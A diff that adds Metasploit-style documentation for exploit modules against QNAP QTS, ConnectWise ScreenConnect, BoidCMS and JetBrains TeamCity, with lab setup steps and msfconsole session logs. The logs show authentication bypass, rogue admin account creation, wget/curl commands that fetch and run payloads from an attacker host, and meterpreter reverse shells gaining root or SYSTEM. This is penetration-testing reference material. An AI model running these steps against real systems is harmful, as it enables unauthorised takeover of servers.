msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set fetch_srvport 8085
|
||||
fetch_srvport => 8085
|
||||
msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > options
|
||||
|
||||
Module options (exploit/linux/http/qnap_qts_rce_cve_2023_47218):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 172.16.199.130 yes The target host(s), see https://docs.metasploit.com/docs/using-metasp
|
||||
loit/basics/using-metasploit.html
|
||||
RPORT 8080 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP
|
||||
, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME mvcWDkBxSOK no Name to use on remote system when storing payload; cannot
|
||||
contain spaces.
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8085 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR /mnt/update yes Remote writable dir to store payload; cannot contain space
|
||||
s.
|
||||
LHOST 172.16.199.158 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Default
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.199.158:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated.
|
||||
[*] Sending stage (3045380 bytes) to 172.16.199.130
|
||||
[+] Deleted /mnt/update/RjzvVkLp
|
||||
[+] Deleted /mnt/update/"$($(echo -n YmFzaCAvbW50L3VwZGF0ZS9Sanp2VmtMcA==|base64 -d))"
|
||||
[*] Meterpreter session 1 opened (172.16.199.158:4444 -> 172.16.199.130:40004) at 2024-02-15 12:20:04 -0900
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: admin
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.16.199.130
|
||||
OS : (Linux 6.2.0-35-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
+287
@@ -0,0 +1,287 @@
|
||||
## Vulnerable Application
|
||||
This module exploits an authentication bypass vulnerability that allows an unauthenticated attacker to create
|
||||
a new administrator user account on a vulnerable ConnectWise ScreenConnect server. The attacker can leverage
|
||||
this to achieve RCE by uploading a malicious extension module. All versions of ScreenConnect version 23.9.7
|
||||
and below are affected.
|
||||
|
||||
**Note:** The vulnerability will replace the ScreenConnect systems existing User.xml file, meaning existing user
|
||||
accounts will be removed after exploitation.
|
||||
|
||||
## Testing
|
||||
* Download a vulnerable version of the software by visiting:
|
||||
* https://screenconnect.connectwise.com/download/archive, for example download the file
|
||||
[ScreenConnect_23.9.7.8804_Release.msi](https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_23.9.7.8804_Release.msi) or
|
||||
[ScreenConnect_21.14.5924.8013_Release.msi](https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_21.14.5924.8013_Release.msi).
|
||||
* Request a trial license if you do not already have one.
|
||||
* On a Windows system, click through the installer to install the product and complete the installation in your
|
||||
web browser as instructed.
|
||||
* Once completed, you can login by visiting http://127.0.0.1:8040/ in your browser.
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. `use exploit/multi/http/connectwise_screenconnect_rce_cve_2024_1709`
|
||||
3. `set target 0`
|
||||
4. `set payload windows/x64/meterpreter/reverse_tcp`
|
||||
5. `set LHOST eth0`
|
||||
6. `set RHOST <TARGET_IP_ADDRESS>`
|
||||
7. `check`
|
||||
8. `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
The username to use when creating a new administrator user account. Will default to a random 8 character value. This
|
||||
value must not be empty.
|
||||
|
||||
### PASSWORD
|
||||
The password to use when creating a new administrator user account. Will default to a random 16 character value. This
|
||||
value must not be empty and must be 8 characters or more.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows In-Memory
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set target 0
|
||||
target => 0
|
||||
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set payload windows/x64/meterpreter/reverse_tcp
|
||||
payload => windows/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set LHOST eth0
|
||||
LHOST => eth0
|
||||
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set RHOST 192.168.86.50
|
||||
RHOST => 192.168.86.50
|
||||
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > show options
|
||||
|
||||
Module options (exploit/multi/http/connectwise_screenconnect_rce_cve_2024_1709):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 8040 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (windows/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LHOST eth0 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows In-Memory
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > check
|
||||
[*] 192.168.86.50:8040 - The target appears to be vulnerable. ConnectWise ScreenConnect 23.9.7 running on Windows.
|
||||
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. ConnectWise ScreenConnect 23.9.7 running on Windows.
|
||||
[*] Created account: qyxzcxgk:SMsGSJCbcTaJZ5f2 (Note: This account will not be deleted by the module)
|
||||
[*] Uploaded Extension: 81060d26-6fc8-5d1a-0566-b6f0503a8934
|
||||
[*] Removing Extension: 81060d26-6fc8-5d1a-0566-b6f0503a8934
|
||||
[*] Sending stage (201798 bytes) to 192.168.86.50
|
||||
[+] Deleted C:\Program Files (x86)\ScreenConnect\App_Extensions\fuypfhwx.ashx
|
||||
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.50:50536) at 2024-02-22 14:42:13 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-V28QNSO2H05
|
||||
OS : Windows Server 2022 (10.0 Build 20348).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > pwd
|
||||
C:\Windows\system32
|
||||
meterpreter > exit
|
||||
[*] Shutting down session: 1
|
||||
|
||||
[*] 192.168.86.50 - Meterpreter session 1 closed. Reason: Died
|
||||
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) >
|
||||
```
|
||||
|
||||
#### Windows Command
|
||||
Note: The `FETCH_WRITABLE_DIR` should be set to a suitable value like `%TEMP%`.
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set FETCH_COMMAND CERTUTIL
|
||||
FETCH_COMMAND => CERTUTIL
|
||||
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set FETCH_WRITABLE_DIR %TEMP%
|
||||
FETCH_WRITABLE_DIR => %TEMP%
|
||||
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > show options
|
||||
|
||||
Module options (exploit/multi/http/connectwise_screenconnect_rce_cve_2024_1709):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 8040 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME qawpczANW no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
|
||||
LHOST eth0 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 Windows Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > check
|
||||
[*] 192.168.86.50:8040 - The target appears to be vulnerable. ConnectWise ScreenConnect 23.9.7 running on Windows.
|
||||
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. ConnectWise ScreenConnect 23.9.7 running on Windows.
|
||||
[*] Created account: jwrrtiro:Jd6PXdiH2MwGw2Nq (Note: This account will not be deleted by the module)
|
||||
[*] Uploaded Extension: c9bf4ee9-90b2-1ba7-ae4c-54ba6ee36a81
|
||||
[*] Removing Extension: c9bf4ee9-90b2-1ba7-ae4c-54ba6ee36a81
|
||||
[*] Sending stage (201798 bytes) to 192.168.86.50
|
||||
[+] Deleted C:\Program Files (x86)\ScreenConnect\App_Extensions\nayjdyti.ashx
|
||||
[*] Meterpreter session 3 opened (192.168.86.42:4444 -> 192.168.86.50:50550) at 2024-02-22 14:45:01 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-V28QNSO2H05
|
||||
OS : Windows Server 2022 (10.0 Build 20348).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 1
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > pwd
|
||||
C:\Windows\system32
|
||||
meterpreter > exit
|
||||
[*] Shutting down session: 3
|
||||
|
||||
[*] 192.168.86.50 - Meterpreter session 3 closed. Reason: User exit
|
||||
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) >
|
||||
```
|
||||
|
||||
#### Linux Command
|
||||
|
||||
Note: Linux targets run an older version of ScreenConnect, which require an older version of Linux (Ubuntu 18.04 in
|
||||
our testing), so `CURL` may not be available, the `FETCH_COMMAND` can be set to `WGET` instead. The `FETCH_WRITABLE_DIR`
|
||||
should be set to a suitable value like `/tmp`.
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set RHOST 192.168.86.72
|
||||
RHOST => 192.168.86.72
|
||||
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set target 2
|
||||
target => 2
|
||||
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set FETCH_COMMAND WGET
|
||||
FETCH_COMMAND => WGET
|
||||
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set FETCH_WRITABLE_DIR /tmp
|
||||
FETCH_WRITABLE_DIR => /tmp
|
||||
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > show options
|
||||
|
||||
Module options (exploit/multi/http/connectwise_screenconnect_rce_cve_2024_1709):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.72 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 8040 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME whUoZoNn no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
|
||||
LHOST eth0 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
2 Linux Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > check
|
||||
[*] 192.168.86.72:8040 - The target appears to be vulnerable. ConnectWise ScreenConnect 20.3.31734 running on Linux.
|
||||
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. ConnectWise ScreenConnect 20.3.31734 running on Linux.
|
||||
[!] Did not locate the __VIEWSTATEGENERATOR.
|
||||
[!] Did not locate the __VIEWSTATEGENERATOR.
|
||||
[*] Created account: mvyzbmti:HhstWDEb59XYRfME (Note: This account will not be deleted by the module)
|
||||
[!] Could not locate anti forgery token after login with admin credentials.
|
||||
[*] Uploaded Extension: 347933e7-dbaf-1c86-eca1-2a873c31b04d
|
||||
[*] Sending stage (3045380 bytes) to 192.168.86.72
|
||||
[*] Removing Extension: 347933e7-dbaf-1c86-eca1-2a873c31b04d
|
||||
[+] Deleted App_Extensions/pxstqhwe.ashx
|
||||
[*] Meterpreter session 4 opened (192.168.86.42:4444 -> 192.168.86.72:36862) at 2024-02-22 14:47:33 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.86.72
|
||||
OS : Ubuntu 18.04 (Linux 5.4.0-84-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > pwd
|
||||
/opt/screenconnect
|
||||
meterpreter > exit
|
||||
[*] Shutting down session: 4
|
||||
|
||||
[*] 192.168.86.72 - Meterpreter session 4 closed. Reason: User exit
|
||||
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) >
|
||||
```
|
||||
@@ -0,0 +1,234 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module leverages CVE-2023-38836, an improper sanitization bug in BoidCMS version 2.0.0
|
||||
and below. BoidCMS allows the authenticated upload of a php file as media if the file has
|
||||
the GIF header, even if the file is a php file.
|
||||
Once the file is uploaded, a user can then feed a command to the php file in a `GET` request.
|
||||
|
||||
## Installation
|
||||
|
||||
### Ubuntu 22.01.1x64 (Any 'nix should work)
|
||||
1. `sudo apt-get install apache2 #install apache`
|
||||
2. `sudo apt-get install php8.0 #install php`
|
||||
3. `sudo a2enmod rewrite #enable mod_rewrite`
|
||||
4. `sudo systemctl restart apache2 #restart apache2`
|
||||
5. Follow installation instructions here: https://boidcms.github.io/#/install
|
||||
a. download https://github.com/BoidCMS/BoidCMS/archive/refs/tags/v2.0.0.zip, unzip, and place
|
||||
the contents into the `/var/www/html/` folder on the apache server.
|
||||
b. Add
|
||||
`$App->page = ltrim( $_SERVER[ 'PATH_INFO' ] ?? '', '/' );`
|
||||
before the following line:
|
||||
`$App->render();`
|
||||
6. `reboot`
|
||||
7. `cd /var/www/html`
|
||||
8. `sudo php -S [ip_address]:8080 #start php server`
|
||||
|
||||
### Windows 2019 server (Any Windows should work)
|
||||
1. Download and install XMAPP for Windows from https://www.apachefriends.org/download.html
|
||||
2. Reboot
|
||||
3. Open XAMPP Control panel as admin.
|
||||
4. Follow installation instructions here: https://boidcms.github.io/#/install
|
||||
a. download https://github.com/BoidCMS/BoidCMS/archive/refs/tags/v2.0.0.zip, unzip, and place
|
||||
the contents into the `C:\xampp\htdocs\` folder on the apache server.
|
||||
b. Add
|
||||
`$App->page = ltrim( $_SERVER[ 'PATH_INFO' ] ?? '', '/' );`
|
||||
before the following line:
|
||||
`$App->render();`
|
||||
5. Verify that mod_rewrite is enabled for Apache.
|
||||
a. Click on the `Config` button beside the Apache status in XAMPP Control panel
|
||||
b. Select the httpd.conf
|
||||
c. Verify `LoadModule rewrite_module modules/mod_rewrite.so` is uncommented
|
||||
d. Restart Apache if you needed to uncomment the above line
|
||||
6. Start the php server
|
||||
a. Open cmd window as Administrator
|
||||
b. `cd C:\xampp\htdocs\`
|
||||
c. `C:\xampp\php\php.exe -S 10.5.134.102:8080` #I don't know why we start the server on port 8080,
|
||||
but on windows, we access with the rport value of 80.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install BoidCMS
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/multi/http/cve_2023_38836_boidcms`
|
||||
1. Do: `set CMS_USERNAME [username]`
|
||||
1. Do: `set CMS_PASSWORD [password]`
|
||||
1. Do: `set TARGETURI [target uri]`
|
||||
1. Do: `run`
|
||||
1. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
### CMS_USERNAME
|
||||
The username for the BoidCMS admin panel. Default is `admin`
|
||||
|
||||
### CMS_PASSWORD
|
||||
The username for the BoidCMS admin panel. Default is `password`
|
||||
|
||||
### TARGETURI
|
||||
The root of the web page BoidCMS manages. Empty string by default.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### BoidCMS on Ubuntu 22.04.1x64
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/cve_2023_38836_boidcms) > show options
|
||||
|
||||
Module options (exploit/multi/http/cve_2023_38836_boidcms):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CMS_PASSWORD password yes Password
|
||||
CMS_USERNAME admin yes Username
|
||||
PHP_FILENAME eI1lHLx.php yes The name for the php file to upload
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 10.5.134.129 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
|
||||
metasploit.html
|
||||
RPORT 8080 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI yes The path
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME LZfjvRRrNR no Name to use on remote system when storing payload; cannot contain spaces.
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces.
|
||||
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 nix Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/cve_2023_38836_boidcms) > run
|
||||
|
||||
[*] Command to run on remote host: wget -qO /tmp/oEsnOArk http://10.5.135.201:8080/v3vZxR3P-stuKWjUe6pCeA; chmod +x /tmp/oEsnOArk; /tmp/oEsnOArk &
|
||||
[*] Fetch Handler listening on 10.5.135.201:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /v3vZxR3P-stuKWjUe6pCeA
|
||||
[*] Started reverse TCP handler on 10.5.135.201:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. Detected BoidCMS, but the version is unknown.
|
||||
[*] Getting Token
|
||||
[*] Logging into CMS
|
||||
[*] Uploading PHP file eI1lHLx.php
|
||||
[*] launching Payload
|
||||
[*] Client 10.5.134.129 requested /v3vZxR3P-stuKWjUe6pCeA
|
||||
[*] Sending payload to 10.5.134.129 (Wget/1.21.2)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 10.5.134.129
|
||||
[+] Deleted eI1lHLx.php
|
||||
[*] Meterpreter session 1 opened (10.5.135.201:4444 -> 10.5.134.129:49168) at 2024-02-16 16:32:33 -0600
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 10.5.134.129
|
||||
OS : Ubuntu 22.04 (Linux 6.5.0-17-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter >
|
||||
|
||||
|
||||
|
||||
```
|
||||
|
||||
|
||||
### BoidCMS on Windows Server 2019x64
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/cve_2023_38836_boidcms) > show options
|
||||
|
||||
Module options (exploit/multi/http/cve_2023_38836_boidcms):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CMS_PASSWORD password yes Password
|
||||
CMS_USERNAME admin yes Username
|
||||
PHP_FILENAME eI1lHLx.php yes The name for the php file to upload
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 10.5.134.102 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
|
||||
metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI yes The path
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/windows/http/x64/meterpreter_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
EXTENSIONS no Comma-separate list of extensions to load
|
||||
EXTINIT no Initialization strings for extensions
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME EwRzYaki no Name to use on remote system when storing payload; cannot contain spaces.
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
|
||||
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 Windows Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/cve_2023_38836_boidcms) > run
|
||||
|
||||
[*] Command to run on remote host: curl -so %TEMP%\YnmWUfMzCxY.exe http://10.5.135.201:8080/h8r3u5VU3v-qeqUW3_anLw & start /B %TEMP%\YnmWUfMzCxY.exe
|
||||
[*] Fetch Handler listening on 10.5.135.201:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /h8r3u5VU3v-qeqUW3_anLw
|
||||
[*] Started reverse TCP handler on 10.5.135.201:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. Detected BoidCMS, but the version is unknown.
|
||||
[*] Getting Token
|
||||
[*] Logging into CMS
|
||||
[*] Uploading PHP file eI1lHLx.php
|
||||
[*] launching Payload
|
||||
[*] Client 10.5.134.102 requested /h8r3u5VU3v-qeqUW3_anLw
|
||||
[*] Sending payload to 10.5.134.102 (curl/7.55.1)
|
||||
[+] Deleted eI1lHLx.php
|
||||
[*] Meterpreter session 4 opened (10.5.135.201:4444 -> 10.5.134.102:50085) at 2024-02-16 16:41:48 -0600
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-2E6BPFGP9F7
|
||||
OS : Windows Server 2019 (10.0 Build 17763).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > getuid
|
||||
Server username: WIN-2E6BPFGP9F7\msfuser
|
||||
meterpreter > getsystem
|
||||
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
|
||||
meterpreter >
|
||||
|
||||
```
|
||||
@@ -0,0 +1,448 @@
|
||||
## Vulnerable Application
|
||||
This module exploits an authentication bypass vulnerability in JetBrains TeamCity. An unauthenticated
|
||||
attacker can leverage this to access the REST API and create a new administrator access token. This token
|
||||
can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve
|
||||
unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist
|
||||
so the exploit will instead create a new administrator account before uploading a plugin. Older version of
|
||||
TeamCity have a debug endpoint (/app/rest/debug/process) that allows for arbitrary commands to be executed,
|
||||
however recent version of TeamCity no longer ship this endpoint, hence why a plugin is leveraged for code
|
||||
execution instead, as this is supported on all versions tested.
|
||||
|
||||
For a technical analysis of the vulnerability, read our [Rapid7 Analysis](https://attackerkb.com/topics/K3wddwP3IJ/cve-2024-27198/rapid7-analysis).
|
||||
|
||||
## Testing
|
||||
[Download](https://www.jetbrains.com/teamcity/download/) and
|
||||
[install](https://www.jetbrains.com/help/teamcity/install-and-start-teamcity-server.html) a vulnerable version of
|
||||
TeamCity for either Windows or Linux, e.g. version 2023.11.3. By default the server will listen for HTTP
|
||||
connections on port 8111 (Older version of the product listen on port 80 by default).
|
||||
|
||||
The exploit has been tested against:
|
||||
* TeamCity 2023.11.3 (build 147512) running on Windows Server 2022
|
||||
* TeamCity 2023.11.2 (build 147486) running on Windows Server 2022
|
||||
* TeamCity 2023.11.3 (build 147512) running on Linux
|
||||
* TeamCity 2018.2.4 (build 61678) running on Windows Server 2016
|
||||
|
||||
## Verification Steps
|
||||
Note: On Windows, disable Defender if you are using the default payloads.
|
||||
|
||||
Note: The check routine will display the target platform, this can be used to decide what target to select if the
|
||||
command payloads are to be used. The Java payloads are platform agnostic.
|
||||
|
||||
1. Start msfconsole
|
||||
2. `use exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198`
|
||||
3. `set RHOST <TARGET_IP_ADDRESS>`
|
||||
4. `set target 0`
|
||||
5. `set payload java/meterpreter/reverse_tcp`
|
||||
6. `set LHOST eth0`
|
||||
7. `check`
|
||||
8. `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
### TEAMCITY_ADMIN_ID
|
||||
The user ID of an administrator account on the server. As the first user created during installation is an
|
||||
administrator account, the ID will be 1 by default.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Java
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198
|
||||
